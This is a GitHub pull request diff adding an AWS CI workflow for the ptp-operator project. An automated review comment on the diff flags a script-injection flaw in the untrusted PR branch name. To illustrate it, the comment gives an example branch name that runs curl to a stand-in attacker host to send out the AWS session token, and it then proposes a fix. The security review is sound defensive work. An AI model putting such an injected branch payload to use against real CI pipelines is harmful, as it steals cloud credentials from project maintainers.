Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
150 changes: 150 additions & 0 deletions .github/workflows/aws-ci.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,150 @@
name: CI tests AWS
on:
pull_request_target:
types: [labeled, synchronize] # Triggered when the PR is labeled or synchronized (PR code changed)
permissions:
id-token: write
contents: read
pull-requests: write
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.head.repo.full_name }}-${{ github.event.pull_request.head.ref }}
cancel-in-progress: true
jobs:
deploy-ec2:
if: github.repository == 'k8snetworkplumbingwg/ptp-operator'
runs-on: ubuntu-latest
timeout-minutes: 115
steps:
- name: Remove ok-to-test label if new commit
uses: actions/github-script@v7
with:
script: |
const label = "ok-to-test";
const pr = context.payload.pull_request;
const owner = context.repo.owner;
const repo = context.repo.repo;

const labels = pr.labels.map(l => l.name);

if (!labels.includes(label)) {
core.setFailed(`Missing required '${label}' label. PR is not ok to test.`);
return;
}
console.log(`eventName='${context.eventName}', action='${context.payload.action}'.`)
// Only remove the label if this is a new commit
if (context.eventName === 'pull_request_target' && context.payload.action === 'synchronize') {
await github.rest.issues.removeLabel({
owner,
repo,
issue_number: pr.number,
name: label,
});
core.setFailed(`Removed '${label}' due to new push to PR. Please add new ok-to-test label to test.`);
} else {
console.log(`Label '${label}' found — code not changed, still ok to test.`);
}
- name: Checkout the code from the user fork
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
repository: ${{ github.event.pull_request.head.repo.full_name }}
path: ptp-operator

- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v2
with:
role-to-assume: arn:aws:iam::058264082309:role/github-oidc-setup-david-Role-Kk44xkca6vIm
role-session-name: ${{ github.run_id }}
aws-region: us-east-1
role-duration-seconds: 7200

- name: Launch EC2 instance
id: launch
run: |
INSTANCE_ID=$(aws ec2 run-instances \
--image-id ami-03a09458c10ffa3e8 \
--subnet-id subnet-04ee218fe8f32cad5 \
--instance-type m6a.xlarge \
--security-group-ids sg-05e700edc2ed0a2d5 \
--tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-job-fullname,Value=PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-org-name,Value=${{ github.event.pull_request.head.repo.owner.login }}},{Key=ci-repo-name,Value=${{ github.event.pull_request.head.repo.name }}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${{ github.event.pull_request.head.ref }}},{Key=ci-job-type,Value=ptp-test}]' \
--query 'Instances[0].InstanceId' \
--key-name ptp-sshkey-1 \
--output text)

echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV
Comment on lines +61 to +74
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Critical: Script injection vulnerability via untrusted PR head ref.

github.event.pull_request.head.ref is attacker-controlled—a malicious branch name like `test$(curl attacker.com?t=$AWS_SESSION_TOKEN)` could execute arbitrary commands and exfiltrate AWS credentials.

Pass untrusted values through environment variables instead of direct interpolation:

Proposed fix
       - name: Launch EC2 instance
         id: launch
+        env:
+          PR_NUMBER: ${{ github.event.number }}
+          PR_ACTOR: ${{ github.actor }}
+          PR_OWNER: ${{ github.event.pull_request.head.repo.owner.login }}
+          PR_REPO: ${{ github.event.pull_request.head.repo.name }}
+          PR_BRANCH: ${{ github.event.pull_request.head.ref }}
         run: |
           INSTANCE_ID=$(aws ec2 run-instances \
             --image-id ami-03a09458c10ffa3e8 \
             --subnet-id subnet-04ee218fe8f32cad5 \
             --instance-type m6a.xlarge \
             --security-group-ids sg-05e700edc2ed0a2d5 \
-            --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-job-fullname,Value=PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-org-name,Value=${{ github.event.pull_request.head.repo.owner.login }}},{Key=ci-repo-name,Value=${{ github.event.pull_request.head.repo.name }}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${{ github.event.pull_request.head.ref }}},{Key=ci-job-type,Value=ptp-test}]' \
+            --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-job-fullname,Value=PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-org-name,Value=${PR_OWNER}},{Key=ci-repo-name,Value=${PR_REPO}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${PR_BRANCH}},{Key=ci-job-type,Value=ptp-test}]" \
             --query 'Instances[0].InstanceId' \
             --key-name ptp-sshkey-1 \
             --output text)

           echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Launch EC2 instance
id: launch
run: |
INSTANCE_ID=$(aws ec2 run-instances \
--image-id ami-03a09458c10ffa3e8 \
--subnet-id subnet-04ee218fe8f32cad5 \
--instance-type m6a.xlarge \
--security-group-ids sg-05e700edc2ed0a2d5 \
--tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-job-fullname,Value=PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-org-name,Value=${{ github.event.pull_request.head.repo.owner.login }}},{Key=ci-repo-name,Value=${{ github.event.pull_request.head.repo.name }}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${{ github.event.pull_request.head.ref }}},{Key=ci-job-type,Value=ptp-test}]' \
--query 'Instances[0].InstanceId' \
--key-name ptp-sshkey-1 \
--output text)
echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV
- name: Launch EC2 instance
id: launch
env:
PR_NUMBER: ${{ github.event.number }}
PR_ACTOR: ${{ github.actor }}
PR_OWNER: ${{ github.event.pull_request.head.repo.owner.login }}
PR_REPO: ${{ github.event.pull_request.head.repo.name }}
PR_BRANCH: ${{ github.event.pull_request.head.ref }}
run: |
INSTANCE_ID=$(aws ec2 run-instances \
--image-id ami-03a09458c10ffa3e8 \
--subnet-id subnet-04ee218fe8f32cad5 \
--instance-type m6a.xlarge \
--security-group-ids sg-05e700edc2ed0a2d5 \
--tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-job-fullname,Value=PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-org-name,Value=${PR_OWNER}},{Key=ci-repo-name,Value=${PR_REPO}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${PR_BRANCH}},{Key=ci-job-type,Value=ptp-test}]" \
--query 'Instances[0].InstanceId' \
--key-name ptp-sshkey-1 \
--output text)
echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV
🧰 Tools
🪛 actionlint (1.7.12)

[error] 62-62: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/aws-ci.yaml around lines 60 - 73, The launch step
currently injects untrusted github.event.pull_request.head.ref (and other PR
fields) directly into a shell command, enabling command injection; instead, move
all GitHub expressions (e.g., github.event.pull_request.head.ref,
github.event.number, github.actor,
github.event.pull_request.head.repo.owner.login,
github.event.pull_request.head.repo.name, github.event.pull_request.head.ref)
into explicit step-level environment variables (e.g., PR_NUMBER, PR_ACTOR,
PR_REPO_OWNER, PR_REPO_NAME, PR_HEAD_REF) and then use those safe env vars in
the run script (referencing $PR_HEAD_REF) when constructing the aws CLI
--tag-specifications argument; ensure you always quote the shell variables to
avoid word-splitting and never use backticks or unquoted interpolation in the
launch step that creates INSTANCE_ID.


- name: Wait for instance and get public IP
id: wait
run: |
aws ec2 wait instance-running --instance-ids $instance_id
PUBLIC_IP=$(aws ec2 describe-instances \
--instance-ids $instance_id \
--query 'Reservations[0].Instances[0].PublicIpAddress' \
--output text)
echo "public_ip=$PUBLIC_IP" >> $GITHUB_ENV
PRIVATE_IP=$(aws ec2 describe-instances \
--instance-ids $instance_id \
--query 'Reservations[0].Instances[0].PrivateIpAddress' \
--output text)
echo "private_ip=$PRIVATE_IP" >> $GITHUB_ENV

- name: Wait for instance to be online
run: |
./ptp-operator/scripts/retry.sh 180 10 sh -c "aws ssm describe-instance-information --query \"InstanceInformationList[?InstanceId=='$instance_id'].PingStatus\" --output text | grep -q 'Online'"

- name: Run test script
run: |
echo "VM IP is $public_ip"
eval "$(ssh-agent -s)"
ssh-keygen -t rsa -b 4096 -f temp_key -N ""
aws ssm send-command --instance-ids $instance_id \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["sudo bash -c '\''echo '"$(cat temp_key.pub)"' >> /home/fedora/.ssh/authorized_keys'\''"]'

ssh-add temp_key

./ptp-operator/scripts/retry.sh 60 5 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fedora@"$public_ip" uptime
rsync -r -e "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" ptp-operator fedora@"$public_ip":~/.
ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o ServerAliveInterval=60 \
-o ServerAliveCountMax=10 \
-o ConnectTimeout=30 \
-o TCPKeepAlive=yes \
fedora@"$public_ip" \
"set +e; \
sudo ./ptp-operator/scripts/run-on-vm.sh '$private_ip'; \
exit_code=\$?; \
echo '=== Script completed with exit code:' \$exit_code '==='; \
echo '=== Recent system logs ==='; \
sudo journalctl --no-pager -n 100 --since '5 minutes ago'; \
echo '=== End of logs ==='; \
exit \$exit_code"
- name: Collect artifacts from VM
if: always() && env.public_ip != ''
run: |
mkdir -p artifacts
ssh -i temp_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o ConnectTimeout=10 \
fedora@"$public_ip" "sudo chmod -R a+r /tmp/artifacts/ 2>/dev/null" || true
rsync -r \
-e "ssh -i temp_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10" \
fedora@"$public_ip":/tmp/artifacts/ artifacts/ || true

- name: Upload test artifacts
if: always()
uses: actions/upload-artifact@v4
with:
name: test-artifacts-pr${{ github.event.number }}-${{ github.run_id }}
path: artifacts/
retention-days: 7
if-no-files-found: warn

- name: Cleanup - Delete EC2 instance
if: always() # Ensure cleanup runs even if previous steps fail
run: |
echo "Cleaning up EC2 INSTANCE_ID=$instance_id"
aws ec2 terminate-instances --instance-ids $instance_id

- name: Notify cleanup complete
run: echo "Cleanup task completed."